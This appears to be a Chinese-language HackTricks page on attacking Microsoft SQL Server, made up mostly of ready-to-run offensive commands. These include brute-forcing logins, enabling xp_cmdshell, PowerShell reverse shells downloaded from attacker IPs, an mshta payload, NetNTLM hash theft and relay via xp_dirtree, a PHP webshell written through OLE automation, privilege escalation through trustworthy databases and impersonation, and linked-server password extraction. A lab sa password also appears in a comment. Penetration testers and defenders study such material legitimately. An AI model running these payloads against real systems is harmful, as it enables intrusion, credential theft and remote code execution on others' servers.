1433 - Pentesting MSSQL - Microsoft SQL Server

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基本信息

来自 wikipedia:

Microsoft SQL Server 是由 Microsoft 开发的 关系数据库 管理系统。作为数据库服务器，它是一个软件产品，主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行，也可以在网络（包括互联网）上的另一台计算机上运行。\

默认端口： 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

默认 MS-SQL 系统表

• master 数据库: 这个数据库至关重要，因为它捕获了 SQL Server 实例的所有系统级细节。

• msdb 数据库: SQL Server Agent 利用这个数据库来管理警报和作业的调度。

• model 数据库: 作为 SQL Server 实例上每个新数据库的蓝图，任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。

• Resource 数据库: 一个只读数据库，存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中，但在每个数据库的 sys 模式中逻辑上呈现。

• tempdb 数据库: 作为瞬态对象或中间结果集的临时存储区域。

枚举

自动枚举

如果你对服务一无所知:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

如果你没有 凭据，你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心，如果你使用现有用户名多次登录失败，你可能会锁定账户。

Metasploit (需要凭据)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

暴力破解

手动枚举

登录

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

常见枚举

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

获取用户

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

获取权限

1. 可安全性资源: 定义为由 SQL Server 管理的用于访问控制的资源。这些资源分为：

• 服务器 – 示例包括数据库、登录、端点、可用性组和服务器角色。

• 数据库 – 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。

• 模式 – 包括表、视图、过程、函数、同义词等。

1. 权限: 与 SQL Server 可安全性资源相关的权限，如 ALTER、CONTROL 和 CREATE，可以授予主体。权限管理发生在两个层级：

• 服务器级别 使用登录

• 数据库级别 使用用户

1. 主体: 该术语指被授予可安全性资源权限的实体。主体主要包括登录和数据库用户。对可安全性资源的访问控制通过授予或拒绝权限或将登录和用户包含在具备访问权限的角色中来实现。

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Tricks

执行操作系统命令

请注意，为了能够执行命令，不仅需要启用 xp_cmdshell，还需要对 xp_cmdshell 存储过程 拥有 EXECUTE 权限。您可以通过以下方式获取谁（除了 sysadmins）可以使用 xp_cmdshell：

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Steal NetNTLM hash / Relay attack

您应该启动一个 SMB 服务器 来捕获用于身份验证的哈希值（例如 impacket-smbserver 或 responder）。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

您可以检查除了 sysadmins 之外，谁有权限运行这些 MSSQL 函数：

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

使用工具如 responder 或 Inveigh 可以 窃取 NetNTLM 哈希。 您可以查看如何使用这些工具：

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

滥用 MSSQL 受信任链接

阅读此帖子 以获取有关如何滥用此功能的更多信息：

MSSQL AD Abuse

写入文件

要使用 MSSQL 写入文件，我们 需要启用 Ole Automation Procedures，这需要管理员权限，然后执行一些存储过程来创建文件：

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

使用 OPENROWSET 读取文件

默认情况下，MSSQL 允许对帐户具有读取权限的操作系统中的任何文件进行读取。我们可以使用以下 SQL 查询：

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

然而，BULK 选项需要 ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

基于错误的SQLi向量：

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/读取文件执行脚本（Python 和 R）

MSSQL 可能允许您执行 Python 和/或 R 的脚本。这些代码将由与使用 xp_cmdshell 执行命令的 不同用户 执行。

尝试执行 'R' "Hellow World!" 不工作：

使用配置的 Python 执行多个操作的示例：

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

读取注册表

Microsoft SQL Server 提供了 多个扩展存储过程，允许您与网络、文件系统甚至 Windows 注册表** 进行交互：**

常规	实例感知
sys.xp_regread	sys.xp_instance_regread
sys.xp_regenumvalues	sys.xp_instance_regenumvalues
sys.xp_regenumkeys	sys.xp_instance_regenumkeys
sys.xp_regwrite	sys.xp_instance_regwrite
sys.xp_regdeletevalue	sys.xp_instance_regdeletevalue
sys.xp_regdeletekey	sys.xp_instance_regdeletekey
sys.xp_regaddmultistring	sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring	sys.xp_instance_regremovemultistring

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

对于更多示例，请查看原始来源。

使用 MSSQL 用户定义函数进行 RCE - SQLHttp

可以在 MSSQL 中通过自定义函数加载 .NET dll。但是，这需要 dbo 访问权限，因此您需要以 sa 或管理员角色 连接到数据库。

点击此链接查看示例。

使用 autoadmin_task_agents 进行 RCE

根据 这篇文章，也可以加载远程 dll 并使 MSSQL 执行它，方法如下：

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

与：

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

其他 RCE 方法

还有其他方法可以获取命令执行，例如添加 扩展存储过程、CLR 程序集、SQL Server 代理作业 和 外部脚本。

MSSQL 权限提升

从 db_owner 到 sysadmin

如果一个 普通用户 被赋予 db_owner 角色在 由管理员 用户（如 sa）拥有的 数据库 上，并且该数据库被配置为 trustworthy，那么该用户可以滥用这些权限进行 privesc，因为在其中创建的 存储过程 可以以所有者（管理员）的身份 执行。

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

您可以使用一个 metasploit 模块：

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

或一个 PS 脚本：

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

冒充其他用户

SQL Server 有一个特殊权限，名为 IMPERSONATE，它 允许执行用户获取另一个用户或登录的权限，直到上下文被重置或会话结束。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

如果您可以冒充一个用户，即使他不是 sysadmin，您应该检查该用户是否有权访问其他数据库或链接服务器。

请注意，一旦您成为 sysadmin，您可以冒充任何其他用户：

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

您可以使用 metasploit 模块执行此攻击：

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

或使用 PS 脚本：

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

使用 MSSQL 进行持久化

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

从 SQL Server 连接服务器提取密码

攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码，并以明文形式获取它们，从而使攻击者获得可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 这里 找到。

为了使此漏洞利用有效，必须进行一些要求和配置。首先，您必须在机器上具有管理员权限，或能够管理 SQL Server 配置。

在验证您的权限后，您需要配置以下三项内容：

1. 在 SQL Server 实例上启用 TCP/IP；

2. 添加启动参数，在这种情况下，将添加一个跟踪标志，即 -T7806。

3. 启用远程管理员连接。

为了自动化这些配置，这个仓库提供了所需的脚本。除了为每个配置步骤提供 PowerShell 脚本外，该仓库还提供了一个完整的脚本，结合了配置脚本以及密码的提取和解密。

有关此攻击的更多信息，请参阅以下链接：解密 MSSQL 数据库链接服务器密码

排除 SQL Server 专用管理员连接的问题

本地权限提升

运行 MSSQL 服务器的用户将启用特权令牌 SeImpersonatePrivilege. 您可能能够通过以下两个页面之一 提升到管理员：

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotatoJuicyPotato

Shodan

• port:1433 !HTTP

参考文献

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

HackTricks 自动命令

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

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